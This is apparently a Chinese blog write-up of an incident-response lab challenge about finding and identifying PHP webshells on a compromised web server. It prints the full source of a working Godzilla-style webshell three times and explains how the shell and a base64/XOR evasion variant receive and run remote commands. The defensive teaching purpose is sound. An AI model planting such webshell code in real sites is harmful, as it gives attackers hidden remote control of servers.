【玄机】第一章 应急响应-webshell查杀

题目:

1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}
2.黑客使用的什么工具的shell github地址的md5 flag{md5}
3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx
4.黑客免杀马完整路径 md5 flag{md5}

1.黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}

方法一:命令查找

注意到/var/www/html目录下。

使用命令查找含有eval的php文件。

find ./ -name "*.php" |xargs grep "eval("

在这里插入图片描述

获取文件,查看内容。

得到flag为flag{027ccd04-5065-48b6-a32d-77c704a5e26d}

在这里插入图片描述

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
    $data=encode($data,$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
                eval($payload);
        echo encode(@run($data),$key);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

方法二:使用在线webshell查杀工具

把/var/www/html文件夹压缩为zip压缩包,然后使用在线webshell查杀工具扫描。

在线webshell查杀

在这里插入图片描述

扫描后可以锁定目标!后续和方法一相同。

2.黑客使用的什么工具的shell github地址的md5 flag{md5}

首先先来看题目1中获取到的php文件内容。

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
//027ccd04-5065-48b6-a32d-77c704a5e26d
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
    $data=encode($data,$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
                eval($payload);
        echo encode(@run($data),$key);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

经典的哥斯拉PHP马的特征:

  • session_start() 创建或者重启一个会话
  • @set_time_limit(0) 设置程序最长运行时间 永远
  • @error_reporting(0) 关闭错误报告
  • $key=xxxxxxxxx 加解密的盐值

哥斯拉php马的利用逻辑:

第一次通信时,服务端通过POST方式传递一个名叫pass的参数给木马,给pass参数赋的值是加密后的一组用”|”隔开的方法,也就是接下来要使用的攻击荷载。荷载在解密后被存入SESSION,供之后使用。

从第二次通信开始,pass传入的是远控命令,通过攻击荷载中的run()方法执行远控命令。然后对回显进行加密后传输给哥斯拉的服务端。

哥斯拉

md5加密:

flag{39392de3218c333f794befef07ac9257}

在这里插入图片描述

3.黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx

方法一:手工翻阅并排查

在/var/www/html/include/Db文件下,对比ls和ls -a命令的区别:

在这里插入图片描述

发现了隐藏文件,.Mysqli.php。查看内容:

在这里插入图片描述

分析:

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$payloadName='payload';
$key='3c6e0b8a9c15224a';
$data=file_get_contents("php://input");
if ($data!==false){
    $data=encode($data,$key);
    if (isset($_SESSION[$payloadName])){
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
                eval($payload);
        echo encode(@run($data),$key);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}

依旧是典型的哥斯拉马的特征。

路径:/var/www/html/include/Db/.Mysqli.php

MD5加密。flag{aebac0e58cd6c5fad1695ee4d1ac1919}

在这里插入图片描述

方法二:使用在线webshell查杀工具

在这里插入图片描述

依旧是题目1扫描的结果,可以看到明显标出来了/include/Db/.Mysqli.php,后续和方法一相同。

4.黑客免杀马完整路径 md5 flag{md5}

方法一:手工翻阅并排查

php免杀马通常字符串异或加密、base家族加密、rot13加密 字符串拼接等方式实现。

这里尝试最常见的base64编码,同样也是通过find去匹配关键字查询:

find ./ -name "*.php" | xargs grep "base64_decode"

在这里插入图片描述

查看php文件内容:

在这里插入图片描述

该免杀马首先使用base64对于接收到的func参数进行加密,以绕过黑名单检查,再使用key对加密的内容进行异或加密,然后通过$a.$s.$_GET[“func2”]拼接的方式来动态调用,绕过静态检验。

地址:/var/www/html/wap/top.php

flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}

方法二:使用在线webshell查杀工具

在这里插入图片描述

依旧是题目1扫描的结果,可以看到明显标出来了/wap/top.php,后续和方法一相同。


参考链接:

https://godyu.com/12918.html

https://blog.csdn.net/m0_63138919/article/details/138822190

  • 18
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值